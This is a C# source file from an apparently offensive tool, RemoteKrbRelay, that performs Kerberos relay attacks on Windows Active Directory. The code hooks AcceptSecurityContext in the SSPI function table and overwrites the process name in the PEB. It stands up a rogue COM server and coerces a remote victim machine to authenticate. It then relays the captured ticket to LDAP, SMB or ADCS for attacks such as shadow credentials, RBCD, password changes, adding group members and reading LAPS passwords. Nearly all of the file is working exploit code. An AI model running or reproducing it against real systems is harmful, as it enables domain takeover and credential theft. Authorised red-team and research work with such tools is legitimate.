Files
Michael Zhmailo a655de2076 Initial Commit
2024-06-24 22:44:32 +05:00

369 lines
16 KiB
C#

using NetFwTypeLib;
using RemoteKrbRelay.Helpers;
using RemoteKrbRelay.Relay.Com;
using System;
using System.Diagnostics;
using System.Linq;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.Text;
using static RemoteKrbRelay.Helpers.Natives;
namespace RemoteKrbRelay.Relay
{
class Relay
{
public static Guid clsId_guid = new Guid(Options.clsid);
public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE();
public static IntPtr ld = IntPtr.Zero;
public static byte[] apRep1 = { };
public static byte[] apRep2 = { };
public static byte[] ticket = { };
public static void InitializeCOMServer()
{
Debug.WriteLine("[*] Rewriting Function Table");
var functionTable = InitSecurityInterface();
Debug.WriteLine($"[!] functionTable: {functionTable}");
var table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
Debug.WriteLine($"[!] Old AcceptSecurityContex: {table.AcceptSecurityContex}");
var AcceptSecurityContextDeleg = new AcceptSecurityContextFunc(AcceptSecurityContext_); ;
var bAcceptSecurityContext = BitConverter.GetBytes(Marshal.GetFunctionPointerForDelegate(AcceptSecurityContextDeleg).ToInt64());
var oAcceptSecurityContext = RemoteKrbRelay.Helpers.Helpers.FieldOffset<SecurityFunctionTable>("AcceptSecurityContex");
Marshal.Copy(bAcceptSecurityContext, 0, (IntPtr)functionTable + oAcceptSecurityContext, bAcceptSecurityContext.Length);
table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
Debug.WriteLine($"[!] New AcceptSecurityContex: {table.AcceptSecurityContex}");
Debug.WriteLine("[*] Rewriting PEB");
var dwAuthnSvc = 16;
var pPrincipalName = Options.spn;
var svcs = new SOLE_AUTHENTICATION_SERVICE[] {
new SOLE_AUTHENTICATION_SERVICE() {
dwAuthnSvc = dwAuthnSvc,
pPrincipalName = pPrincipalName
}
};
var fileName = new StringBuilder(1024);
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
Debug.WriteLine($"[!] Current GetModuleFileName(): {fileName}");
Debug.WriteLine("[!] Changing Module File Name");
var str = SetProcessModuleName(Options.moduleName);
Debug.WriteLine("[!] Changed!");
try
{
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
Debug.WriteLine($"[!] Current GetModuleFileName(): {fileName}");
Debug.WriteLine("[*] Init com server");
var status = CoInitializeSecurity(IntPtr.Zero, svcs.Length, svcs,
IntPtr.Zero, AuthnLevel.RPC_C_AUTHN_LEVEL_CONNECT,
ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero,
EOLE_AUTHENTICATION_CAPABILITIES.EOAC_DYNAMIC_CLOAKING,
IntPtr.Zero);
if (status != 0)
{
Console.WriteLine($"CoInitializeSecurity Error: 0x{status:X8}. Exploit will fail.");
Environment.Exit(0);
}
}
finally
{
//Debug.WriteLine("[!] Restoring Module FileName");
//var str2 = SetProcessModuleName(str);
fileName.Clear();
//GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
//Debug.WriteLine($"[!] GetModuleFileName: {fileName}");
}
}
public static string SetProcessModuleName(string s)
{
var hProcess = GetCurrentProcess();
var pbi = new PROCESS_BASIC_INFORMATION();
UInt32 RetLen = 0;
IntPtr temp;
NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen);
var pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20);
var addrBuf = new byte[IntPtr.Size];
ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp);
IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0);
IntPtr imagePathNameOffset = processParametersOffset + 0x060;
Debug.WriteLine($"[!] processParametersOffset: 0x{processParametersOffset.ToInt64()}");
Debug.WriteLine($"[!] ImagePathNameOffset: 0x{imagePathNameOffset.ToInt64()}");
var addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))];
ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp);
var str = RemoteKrbRelay.Helpers.Helpers.ReadStruct<UNICODE_STRING>(addrBuf2);
var addrBuf3 = new byte[str.Length];
ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp);
var oldName = Encoding.Unicode.GetString(addrBuf3);
var b = Encoding.Unicode.GetBytes(s + "\x00");
WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp);
CloseHandle(hProcess);
return oldName;
}
[STAThread]
public static SecStatusCode AcceptSecurityContext_([In] SecHandle phCredential, [In] SecHandle phContext, [In] SecurityBufferDescriptor pInput, AcceptContextReqFlags fContextReq, SecDataRep TargetDataRep, [In, Out] SecHandle phNewContext, [In, Out] IntPtr pOutput, out AcceptContextRetFlags pfContextAttr, [Out] SECURITY_INTEGER ptsExpiry)
{
if (apRep1.Length == 0)
{
ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
var ticketOffset = RemoteKrbRelay.Helpers.Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06
ticket = ticket.Skip(ticketOffset).ToArray();
ticket = RemoteKrbRelay.Helpers.Helpers.ConvertApReq(ticket);
if (ticket[0] != 0x60)
{
Console.WriteLine("[-] Received invalid apReq, exploit will fail");
Console.WriteLine("{0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
Environment.Exit(0);
}
else
{
Console.WriteLine("[*] apReq: {0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
}
}
else
{
Console.WriteLine($"[+] Received Kerberos Auth from {Options.victim} with ticket on {Options.spn}");
apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
var apRep2Offset = RemoteKrbRelay.Helpers.Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true);
apRep2 = apRep2.Skip(apRep2Offset).ToArray();
ticket = apRep2;
Console.WriteLine("[*] apRep2: {0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
}
if (!Options.attackDone)
{
switch (Options.attackType)
{
case Options.Attack.ADCS:
Http.Relay();
break;
case Options.Attack.ChangePass:
case Options.Attack.ShadowCred:
case Options.Attack.RBCD:
case Options.Attack.AddGroupMember:
case Options.Attack.Laps:
case Options.Attack.LdapWhoami:
LDAP.Relay();
break;
case Options.Attack.SMB:
Smb.Relay();
break;
default:
Console.WriteLine("[!] Dont forget about adding your attack in AcceptSecurityContext() :)");
Environment.Exit(0);
break;
}
}
var pOutput2 = new SecurityBufferDescriptor(12288);
var buffer = new SecurityBuffer(apRep1);
var size = Marshal.SizeOf(buffer);
var size2 = apRep1.Length;
var BufferPtr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(buffer, BufferPtr, false);
var BufferBytes = new byte[size];
Marshal.Copy(BufferPtr, BufferBytes, 0, size);
var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor));
var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer));
var ret = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput2, out pfContextAttr, ptsExpiry);
if (ret != 0 && ret != SecStatusCode.SEC_I_CONTINUE_NEEDED)
{
Console.WriteLine($"[-] AcceptSecurityContext() failed with err: {ret}");
Console.WriteLine("[?] May be u should trigger again...");
}
if (apRep2.Length == 0)
{
var nbytes = new byte[254];
Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset?
Marshal.Copy(nbytes, 0, ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length); // xD I trust u bro
}
if (!Options.attackDone)
{
Console.WriteLine("[*] AcceptSecurityContext: {0}", ret);
Console.WriteLine("[*] fContextReq: {0}", fContextReq);
}
return ret;
}
public static void Run()
{
if (Options.RequiresDomainController(Options.attackType))
{
var ldap_ptsExpiry = new SECURITY_INTEGER();
var status = AcquireCredentialsHandle(null, "Negotiate", 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref ldap_phCredential, IntPtr.Zero);
var timeout = new LDAP_TIMEVAL
{
tv_sec = (int)(new TimeSpan(0, 0, 60).Ticks / TimeSpan.TicksPerSecond)
};
ld = ldap_init(Options.domainController, (uint)Options.ldapPort);
uint LDAP_OPT_ON = 1;
uint LDAP_OPT_OFF = 1;
uint version = 3;
var ldapStatus = ldap_set_option(ld, 0x11, ref version);
if (Options.useSSL)
{
ldap_get_option(ld, 0x0a, out int lv); //LDAP_OPT_SSL
if (lv == 0)
ldap_set_option(ld, 0x0a, ref LDAP_OPT_ON);
ldap_get_option(ld, 0x0095, out lv); //LDAP_OPT_SIGN
if (lv == 0)
ldap_set_option(ld, 0x0095, ref LDAP_OPT_ON);
ldap_get_option(ld, 0x0096, out lv); //LDAP_OPT_ENCRYPT
if (lv == 0)
ldap_set_option(ld, 0x0096, ref LDAP_OPT_ON);
ldap_set_option(ld, 0x81, Marshal.GetFunctionPointerForDelegate<VERIFYSERVERCERT>((connection, serverCert) => true));
}
ldapStatus = ldap_connect(ld, timeout);
if (ldapStatus != 0)
{
Console.WriteLine("[-] Could not connect to {0}. ldap_connect failed with error code 0x{1}", Options.domainController, ldapStatus.ToString("x2"));
return;
}
}
if (!checkPort(int.Parse(Options.port)))
{
Console.WriteLine("[+] Looking for available ports..");
Options.port = checkPorts(new[] { Options.moduleName }).ToString();
if (Options.port == "-1")
{
Console.WriteLine("[-] No available ports found");
Console.WriteLine("[-] Firewall will block our COM connection. Exiting");
return;
}
}
Console.WriteLine("[+] Setting UP Rogue COM at port {0}", Options.port);
Console.WriteLine("[+] Registering...");
var ba = ComUtils.GetMarshalledObject(new object());
COMObjRefStandard std = (COMObjRefStandard)COMObjRef.FromArray(ba);
Debug.WriteLine($"[*] IPID: {std.Ipid}");
Debug.WriteLine($"[!] OXID: {std.Oxid:X08}");
Debug.WriteLine($"[!] OID : {std.Oid:X08}");
Console.WriteLine("[+] Register success");
std.StringBindings.Clear();
Debug.WriteLine($"[!] Adding {Options.local} to OBJREF");
// What about? RpcTowerId.NetbiosTcp....
// UPD: Firewall....
std.StringBindings.Add(new COMStringBinding(RpcTowerId.Tcp, Options.local));
Debug.WriteLine($"[?] OBJREF: {std.ToMoniker()}");
RpcServerUseProtseqEp("ncacn_ip_tcp", 20, Options.port, IntPtr.Zero);
RpcServerRegisterAuthInfo(null, 16, IntPtr.Zero, IntPtr.Zero);
IStorage stg;
ILockBytes lb;
int result;
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
var qis = new Ole32.MULTI_QI[1];
var storageTrigger = new StorageTrigger(storage, Options.local, TowerProtocol.EPM_PROTOCOL_TCP, std);
qis[0].pIID = Ole32.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
Console.WriteLine("[+] Forcing Authentication");
Console.WriteLine($"[+] Using CLSID: {Options.clsid_guid}");
var c = new RemoteKrbRelay.Relay.Ole32.COSERVERINFO();
c.pwszName = Options.victim;
Debug.WriteLine($"[!] Triggering {c.pwszName}");
var pComAct = (IStandardActivator)new StandardActivator();
var CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}");
var IID_IStandardActivator = typeof(IStandardActivator).GUID;
var result2 = Ole32.CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref IID_IStandardActivator, out object instance);
Debug.WriteLine($"[*] CoCreateInstance() returns {result2}");
pComAct = (IStandardActivator)instance;
var props = (ISpecialSystemPropertiesActivator)pComAct;
if (!string.IsNullOrEmpty(Options.session))
{
var session = Convert.ToInt32(Options.session);
Console.WriteLine($"[?] Trying to trigger authentication from session {session}");
props.SetSessionId(session, 0, 1);
}
try
{
result = pComAct.StandardGetInstanceFromIStorage(c, Options.clsid_guid, IntPtr.Zero, Ole32.CLSCTX.CLSCTX_REMOTE_SERVER, storageTrigger, 1, qis);
}
catch (Exception e)
{
Console.WriteLine(e);
}
Console.WriteLine("[+] That's all :)");
Debug.WriteLine("[!] EOF DEBUG");
return;
}
public static bool checkPort(int port, string name = "System")
{
var mgr = (INetFwMgr)Activator.CreateInstance(Type.GetTypeFromProgID("HNetCfg.FwMgr"));
if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled)
{
return true;
}
mgr.IsPortAllowed(name, NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, port, "", NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, out object allowed, out object restricted);
return (bool)allowed;
}
public static int checkPorts(string[] names)
{
var ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
var tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners();
var tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList();
foreach (string name in names)
{
for (int i = 1; i < 65535; i++)
{
if (checkPort(i, name) && !tcpPorts.Contains(i))
{
return i;
}
}
}
return -1;
}
}
}